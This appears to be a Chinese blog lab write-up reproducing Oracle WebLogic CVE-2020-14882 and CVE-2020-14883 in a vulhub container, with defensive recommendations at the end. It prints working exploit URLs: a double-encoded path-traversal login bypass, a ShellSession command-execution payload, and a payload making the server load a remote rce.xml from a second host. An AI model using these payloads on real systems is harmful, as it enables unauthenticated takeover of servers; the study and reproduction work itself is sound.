CVE-2020-14882&14883漏洞复现

漏洞介绍

在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14882。

CVE-2020-14882 允许远程用户规避控制台组件中的身份验证。导致此漏洞的原因是服务器 URL 的路径遍历黑名单配置不当,可以在 WebLogic HTTP 访问的处理程序类中找到该黑名单。可以使用双编码字符串比如%252e%252e%252fconsole.portal绕过登陆限制进行访问。

CVE-2020-14883 允许未经身份验证的用户在管理员控制台组件上执行任何命令。由此产生的风险是,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令,并完全控制主机。

环境搭建

下载好vulhub后,进入/vulhub/weblogic/CVE-2020-14882目录下:

进入该目录下,启动环境,命令:docker-compose up -d

至此,环境搭建完成

扫描二维码关注公众号,回复: 14990058 查看本文章

访问此网址,会弹出来登录界面:

http://192.168.223.141:7001/console/login/LoginForm.jsp

漏洞POC:http://192.168.223.141:7001/console/css/%252e%252e%252fconsole.portal

访问后,可以看到成功进入了后台。

尽管进入了后台,因为权限较低,也无法进行相关操作。所以此时根据漏洞介绍,我们就需要用到CVE-2020-14883这个漏洞。该漏洞使得攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下,接管WebLogic Server Console,可执行任意代码。这个漏洞有两种利用方式:

1】通过com.tangosol.coherence.mvel2.sh.ShellSession类:

1)使用GET请求方式:

可用com.tangosol.coherence.mvel2.sh.ShellSession执行相应的命令,访问如下URL:

http://192.168.223.141:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

输入命令docker-compose exec weblogic bash进入容器中,查看tmp目录,可以看到success1已成功被创建,命令被成功执行。

2)使用POST请求方式:

上面使用GET请求,是没有回显的。接下来通过执行python脚本,实现输入命令,可直接有回显

此Python脚本来自:

https://github.com/GGyao/CVE-2020-14882_ALL/blob/master/CVE-2020-14882_ALL.py

2】通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

1)加载xml执行命令

我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,可以自行搭建,由于没有一台有公网IP的服务器,与上面一样,这里我直接访问与被攻击机同网段的另一台主机(windows10)上的xml,将该xml置于phpstudy的WWW目录下即可访问,该xml的目的是执行touch命令,在tmp目录下创建success2

然后输入如下URL,即可让Weblogic加载攻击机上的rce.xml,并执行其中的命令:http://192.168.223.141:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.223.152/rce.xml")

访问后页面显示如下:

依旧通过docker-compose exec weblogic bash命令进入容器,查看tmp中是否创建了success2

可以看到success2成功被创建,命令执行成功。

修复建议

(1)在不影响正常业务的情况下,建议暂时对外关闭后台 /console/console.portal 的访问权限 ,或者对 Console 访问路径进行重命名(将默认的请求路径 console 更改为一个不易猜解的请求路径)。

(2)查看应用程序日志中,是否存在包含双重编码路径遍历的HTTP请求:%252E%252E%252F和在请求URI里的console.portal

(3)监视网络流量中的可疑 HTTP 请求

(4)监视应用程序创建的任何可疑进程,比如cmd.exe、/bin/sh

猜你喜欢

转载自blog.csdn.net/m0_52089634/article/details/128531394
今日推荐